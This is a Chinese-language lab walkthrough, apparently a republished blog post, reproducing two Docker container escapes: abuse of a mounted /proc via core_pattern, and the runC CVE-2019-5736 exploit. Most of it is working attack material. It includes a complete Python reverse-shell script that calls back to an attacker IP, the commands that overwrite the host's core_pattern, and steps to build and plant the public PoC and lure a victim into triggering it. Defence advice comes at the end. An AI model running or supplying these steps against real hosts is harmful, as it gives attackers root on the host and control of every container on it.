Docker逃逸CVE-2019-5736、procfs云安全漏洞复现,全文5k字,超详细解析!

Docker容器挂载procfs 逃逸

procfs是展示系统进程状态的虚拟文件系统,包含敏感信息。直接将其挂载到不受控的容器内,特别是容器默认拥有root权限且未启用用户隔离时,将极大地增加安全风险。因此,需谨慎处理,确保容器环境安全隔离。

利用文件/proc/sys/kernel/core_pattern它在Linux系统中,如果进程崩溃了,系统内核会捕获到进程崩溃信息,将进程崩溃信息传递给这个文件中的程序或者脚本。

自Linux内核2.6.19版本起,/proc/sys/kernel/core_pattern配置迎来了新扩展。若此文件首字符为管道符'|',紧随其后的内容即被识别为指向用户空间程序或脚本的指令,系统将在生成核心转储时自动调用执行这些外部程序或脚本。这一特性增强了核心转储处理的灵活性与定制化能力。

漏洞复现

1、漏洞环境搭建

创建一个容器并挂载 /proc 目录

docker run -it --rm -v /proc/:/host/ ubuntu

执行以下命令,如果返回 Procfs is mounted. 说明当前挂载了 procfs,如果返回 Procfs is not mounted. 则说明没有挂载。

find / -name core_pattern 2>/dev/null | wc -l | grep -q 2 && echo "Procfs is mounted." || echo "Procfs is not mounted."

image-20240705131621791

image-20240705131621791

漏洞利用

# 安装gcc c文件是执行不了的,需要安装gcc来执行c文件
apt update && apt install -y gcc

image-20240705131648885

image-20240705131648885

反弹shell脚本

cat > /tmp/.t.py <<EOF
#!/usr/bin/python
import  os
import pty
import socket
lhost = "反弹shell的攻击机ip"
lport = 8888
def main():s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((lhost, lport))os.dup2(s.fileno(), 0)os.dup2(s.fileno(), 1)os.dup2(s.fileno(), 2)os.putenv("HISTFILE", '/dev/null')pty.spawn("/bin/bash")# os.remove('/tmp/.t.py')s.close()
if __name__ == "__main__":main()
EOF

赋予执行权限

chmod 777 /tmp/.t.py

Linux核心转储程序通过宿主机文件系统执行,利用/etc/mtabupperdir定位容器挂载点。容器未提交的文件变动,在此宿主机路径上可见。

host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)

写入反弹shell

echo -e "|$host_path/tmp/.t.py \rcore" > /host/sys/kernel/core_pattern

image-20240705131742594

image-20240705131742594

在攻击机上开启一个监听

nc -lvvp 8888

image-20240705130903563

image-20240705130903563

然后在容器里运行一个可以崩溃的程序

cat > /tmp/t.c <<EOF
#include<stdio.h>
int main(void)  {int *a  = NULL;*a = 1;return 0;
}
EOF
# 编译程序并执行
cd /tmp
gcc t.c -o t && ./t

如果出现了如下情况,攻击机也没有反应,那么多半是因为攻击机器没有放行8888端口

image-20240705131050975

image-20240705131050975

kali放行8888端口,使用iptables

iptables -A INPUT -p tcp --dport 8888 -j ACCEPT

此时重新执行c文件

./t 
# 或者
gcc t.c -o t && ./t

攻击机器即可接收反弹的shell

image-20240705131315250

image-20240705131315250

Docker runC逃逸-CVE-2019-5736

概述:

2019年2月,runC维护团队披露了一个严重安全漏洞CVE-2019-5736,由SUSE Linux的高级软件工程师Aleksa Sarai发现。此漏洞影响Docker、containerd、Podman、CRI-O等广泛使用的容器运行时,对IT环境和主流云平台如AWS、Google Cloud构成重大威胁。攻击者利用此漏洞可实现容器逃逸,获取宿主机的root权限,进而控制主机上的所有容器。

漏洞原理:

漏洞根源在于runC,一个作为容器底层运行时的开源工具,早期作为Docker的一部分开发,后独立出来。runC由高级别容器运行时(如Docker)调用,负责容器的创建与进程管理。在受影响版本中(「Docker 18.09.2之前,runc版本低于1.0-rc6」),攻击者可通过特定容器镜像或exec操作,获取宿主机上runC的文件句柄,进而篡改runc二进制文件。这一操作允许攻击者以root权限在宿主机上执行任意命令,实现完全控制。

影响版本

docker version <=「18.09.2」 RunC version <=「1.0-rc6」

环境安装

我这里是香港服务器 centos 7.9,一台攻击机腾讯云服务器

这里我推荐腾讯云服务器,新用户99元可以用一年,自带docker加速服务,当靶场必备===>https://curl.qcloud.com/T7dJtWo1

依次执行如下命令,即可安装成功docker-18.03.1

sudo yum update -y
sudo yum install -y yum-utils device-mapper-persistent-data lvm2
sudo yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo
sudo yum install -y docker-ce-18.03.1.ce
sudo systemctl start docker
sudo systemctl enable docker
docker --version

Tips:6月开始国内大部分docker源都不能使用了,要么使用香港或者国外操作系统,或者推荐「龙蜥操作系统」,就算搭建本地也自带外网加速

这里docker版本原因,pull不了镜像,可以pull本地,这里我准备好了一个docker可以直接用的ubuntu镜像,【小羽网安】后台回复即【ubuntu】,小伙伴们不要回复错奥,ubuntu,ubuntu,ubuntu~

image-20240706184227729

image-20240706184227729

将自己下载的ubuntu.tar上传到自己的靶机上,使用docker加载本地镜像

docker load -i ubuntu.tar

启动示例

docker run -d --name my_ubuntu_container ubuntu /bin/bash -c "tail -f /dev/null"

image-20240706184423390

image-20240706184423390

漏洞复现

第一步:生成payload

下载CVE-2019-5736编译go脚本生成攻击payload。(https://github.com/Frichetten/CVE-2019-5736-PoC),将go脚本中的命令修改为反弹shell(附件)

将此内容进行更改,设置「nc」监听地址。

image-20240706153349579

image-20240706153349579

编译生成payload(需要go环境,yum install go) ,也叫可执行文件,为linux系统

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

建议打快照,漏洞复现完成会造成docker无法使用。

第二步:开始攻击

将该payload拷贝到docker容器中(这就是模拟攻击者获取了docker容器权限,在容器中上传payload进行docker逃逸)

docker cp main df9370449f96:/home  #拷贝
docker exec -it df9370449f96 /bin/bash  #进入该ubuntu容器

image-20240706185015303

image-20240706185015303

执行payload,等待受害者去启动docker容器。

image-20240706185044676

image-20240706185044676

攻击机器开启瑞士军刀监听之前先放行1234端口

[root@lavm-izz8p5423g CVE-2019-5736-PoC-master]# systemctl start firewalld
[root@lavm-izz8p5423g CVE-2019-5736-PoC-master]# sudo firewall-cmd --zone=public --add-port=1234/tcp --permanent
success

开启监听

image-20240706182409318

image-20240706182409318

诱导受害机重新进入容器。(「bash/sh」启动)

image-20240706182245089

image-20240706182245089

受害者启动docker容器时,触发payload,成功反弹shell。

image-20240706182320471

image-20240706182320471

whoami,漏洞利用成功

image-20240706182659200

image-20240706182659200

总结

本文详细展示了两种Docker容器安全漏洞的复现过程,分别是通过伪文件系统procfs的逃逸攻击和CVE-2019-5736 runC逃逸漏洞。这两种攻击均利用了容器与宿主机之间的不当隔离或软件缺陷,实现了从容器内部向宿主机环境的非法访问和控制。

procfs逃逸攻击总结
  1. 「漏洞原理」:通过挂载宿主机的/proc目录到容器内,攻击者能够访问并修改宿主机上的关键系统文件,如/proc/sys/kernel/core_pattern,从而在进程崩溃时执行任意代码。

  2. 「复现步骤」
    • 创建一个挂载/proc目录的Docker容器。

    • 在容器内安装gcc并编写反弹shell的Python脚本。

    • 修改宿主机上的/proc/sys/kernel/core_pattern文件,使其指向容器内的反弹shell脚本。

    • 在容器内制造进程崩溃,触发核心转储机制,执行反弹shell脚本,从而在攻击机上获得宿主机的shell访问权限。

  3. 「防御建议」
    • 避免将宿主机的敏感目录(如/proc)挂载到容器中。

    • 容器应运行在非特权用户模式下,限制其对宿主机的访问权限。

    • 监控并审计容器内的活动,及时发现异常行为。

CVE-2019-5736 runC逃逸漏洞总结
  1. 「漏洞原理」:在受影响的Docker和runC版本中,攻击者可以通过特定容器镜像或exec操作获取宿主机上runC的文件句柄,进而篡改runc二进制文件,实现以root权限执行任意命令。

  2. 「复现步骤」
    • 在受影响的Docker环境中安装并运行易受攻击的容器。

    • 编译并准备用于漏洞利用的payload(一个Go语言编写的可执行文件)。

    • 将payload拷贝到容器中并执行,等待宿主机上的Docker活动触发payload。

    • 在攻击机上监听特定端口,当受害机上的Docker活动触发payload时,成功接收反弹的shell。

  3. 「防御建议」
    • 及时更新Docker和runC到最新版本,避免使用已知存在漏洞的旧版本。

    • 实施最小权限原则,限制容器内进程的运行权限。

    • 使用容器安全扫描工具定期检测容器镜像和运行时环境中的潜在漏洞。

    • 对宿主机和容器进行严格的访问控制和隔离,减少潜在的攻击面。

通过本文的复现过程,我们可以深刻认识到容器安全的重要性以及及时更新和维护软件版本的必要性。随着容器技术的广泛应用,确保容器环境的安全将成为IT运维和安全团队的重要任务。

文章参考:

https://mp.weixin.qq.com/s/z6lvfHo3_S6Qtl67gJPTtA

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/867407.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

我使用HarmonyOs Next开发了b站的首页

1.实现效果展示&#xff1a; 2.图标准备 我使用的是iconfont图标&#xff0c;下面为项目中所使用到的图标 3. 代码 &#xff08;1&#xff09;Index.ets&#xff1a; import {InfoTop} from ../component/InfoTop import {InfoCenter} from ../component/InfoCenter import…

Mxnet转Onnx 踩坑记录

0. 前言 使用将MXNET模型转换为ONNX的过程中有很多算子不兼容&#xff0c;在此对那些不兼容的算子替换。在此之前需要安装mxnet分支v1.x版本作为mx2onnx的工具&#xff0c;git地址如下&#xff1a; mxnet/python/mxnet/onnx at v1.x apache/mxnet GitHub 同时还参考了如下…

【postgresql】 基础知识学习

PostgreSQL是一个高度可扩展的开源对象关系型数据库管理系统&#xff08;ORDBMS&#xff09;&#xff0c;它以其强大的功能、灵活性和可靠性而闻名。 官网地址&#xff1a;https://www.postgresql.org/ 中文社区&#xff1a;文档目录/Document Index: 世界上功能最强大的开源…

数据结构1:C++实现边长数组

数组作为线性表的一种&#xff0c;具有内存连续这一特点&#xff0c;可以通过下标访问元素&#xff0c;并且下标访问的时间复杂的是O(1)&#xff0c;在数组的末尾插入和删除元素的时间复杂度同样是O(1)&#xff0c;我们使用C实现一个简单的边长数组。 数据结构定义 class Arr…

web零碎知识2

不知道我的这个axios的包导进去没。 找一下关键词&#xff1a; http请求协议&#xff1a;就是进行交互式的格式 需要定义好 这个式一发一收短连接 而且没有记忆 这个分为三个部分 第一个式请求行&#xff0c;第二个就是请求头 第三个就是请求体 以get方式进行请求的失手请求…

Vatee万腾平台:智慧生活的无限可能

在科技日新月异的今天&#xff0c;我们的生活正被各种智能技术悄然改变。从智能家居到智慧城市&#xff0c;从个人健康管理到企业数字化转型&#xff0c;科技的力量正以前所未有的速度渗透到我们生活的每一个角落。而在这场智能革命的浪潮中&#xff0c;Vatee万腾平台以其卓越的…

Swagger php注解常用语法梳理

Swagger php注解常用语法梳理 快速编写你的 RESTFUL API 接口文档工具&#xff0c;通过注释定义接口和模型&#xff0c;可以和代码文件放置一起&#xff0c;也可以单独文件存放。 Swagger 优势 通过代码注解定义文档&#xff0c;更容易保持代码文档的一致性模型复用&#xff0…

C++(Qt)-GIS开发-QGraphicsView显示瓦片地图简单示例

C(Qt)-GIS开发-QGraphicsView显示瓦片地图简单示例 文章目录 C(Qt)-GIS开发-QGraphicsView显示瓦片地图简单示例1、概述2、实现效果3、主要代码4、源码地址 更多精彩内容&#x1f449;个人内容分类汇总 &#x1f448;&#x1f449;GIS开发 &#x1f448; 1、概述 支持多线程加…

【十三】图解 Spring 核心数据结构:BeanDefinition 其二

图解 Spring 核心数据结构&#xff1a;BeanDefinition 其二 概述 前面写过一篇相关文章作为开篇介绍了一下BeanDefinition&#xff0c;本篇将深入细节来向读者展示BeanDefinition的设计&#xff0c;让我们一起来揭开日常开发中使用的bean的神秘面纱&#xff0c;深入细节透彻理解…

第9章 项目总结01:项目流程,每个模块的介绍

1 请介绍一下你的项目 学成在线项目是一个B2B2C的在线教育平台&#xff0c;本项目包括了用户端、机构端、运营端。 核心模块包括&#xff1a;内容管理、媒资管理、课程搜索、订单支付、选课管理、认证授权等。 下图是项目的功能模块图&#xff1a; 项目采用前后端分离的技…

去除gif动图背景的工具网站

选择视频或GIF - 取消屏幕 (unscreen.com)https://www.unscreen.com/upload

24-7-6-读书笔记(八)-《蒙田随笔集》[法]蒙田 [译]潘丽珍

文章目录 《蒙田随笔集》阅读笔记记录总结 《蒙田随笔集》 《蒙田随笔集》蒙田&#xff08;1533-1592&#xff09;&#xff0c;是个大神人&#xff0c;这本书就是250页的样子&#xff0c;但是却看了好长好长时间&#xff0c;体会还是挺深的&#xff0c;但看的也是不大仔细&…

【TORCH】绘制权重分布直方图,权重torch.fmod对torch.normal生成的随机数进行取模运算

要绘制上述代码中权重初始化的分布&#xff0c;可以分别展示每一层初始化权重的直方图。我们将用 torch.fmod 对 torch.normal 生成的随机数进行取模运算&#xff0c;确保权重值在 -2 到 2 之间。 含义解释 torch.normal(0, init_sd, size...)&#xff1a;生成服从均值为 0、…

以黑盒与白盒的角度分析和通关xss-labs(XSS漏洞类型与总结)

目录 目录 前言 XSS漏洞的总结和梳理 1.第一关(基础palyload) 黑盒测试 白盒测试 2.第二关(闭合) 黑盒测试 白盒测试 3.第三关(字符转义) 黑盒测试 白盒测试 4.第四关(字符过滤或替换) 黑盒测试 白盒测试 5.第五关(关键词替换) 黑盒测试 白盒测试 6.第六关(…

el-table实现固定列,及解决固定列导致部分滚动条无法拖动的问题

一、el-table实现固定列 当数据量动态变化时&#xff0c;可以为 Table 设置一个最大高度。 通过设置max-height属性为 Table 指定最大高度。此时若表格所需的高度大于最大高度&#xff0c;则会显示一个滚动条。 <div class"zn-filter-table"><!-- 表格--…

AI对于高考和IT行业的深远影响

目录 AI对IT行业的冲击及深远影响1. 工作自动化2. 新的就业机会3. 行业融合4. 技术升级和创新5. 数据的重要性 IT行业的冬天要持续多久&#xff1f;大学的软件开发类专业是否还值得报考&#xff1f;其他问题IT行业是否都是加班严重&#xff1f;35岁后就业困难是否普遍现象&…

基于TCP的在线词典系统(分阶段实现)

1.功能说明 一共四个功能&#xff1a; 注册 登录 查询单词 查询历史记录 单词和解释保存在文件中&#xff0c;单词和解释只占一行, 一行最多300个字节&#xff0c;单词和解释之间至少有一个空格。 2.功能演示 3、分阶段完成各个功能 3.1 完成服务器和客户端的连接 servic…

springcloud-alibba之FeignClient

代码地址&#xff1a;springcloud系列: springcloud 组件分析拆解 1.FeignClient的集成 springboot版本&#xff1a;3.1.5 springcloud组件版本&#xff1a;2022.0.4 nacos客户端的版本&#xff1a;2.3.2 1.引pom 这里引入了nacos和feginclient的版本 <dependency>…

【MySQL】事务四大特性以及实现原理

事务四大特性 原子性&#xff08;Atomicity&#xff09; 事务中的所有操作要么全部完成&#xff0c;要么全部不执行。如果事务中的任何一步失败&#xff0c;整个事务都会被回滚&#xff0c;以保持数据的完整性。 一致性&#xff08;Consistency&#xff09; 事务应确保数据库…

机器学习——决策树及其可视化

1、决策树概念 顾名思义&#xff0c;决策树是利用数据结构中树结构来进行判断&#xff0c;每一个结点相当于一个判断条件&#xff0c;叶子结点即是最终的类别。以鸢尾花为例&#xff0c;可以得到如下的决策树&#xff1a; 2、决策树分类的依据是什么&#xff1f; 根据前面分…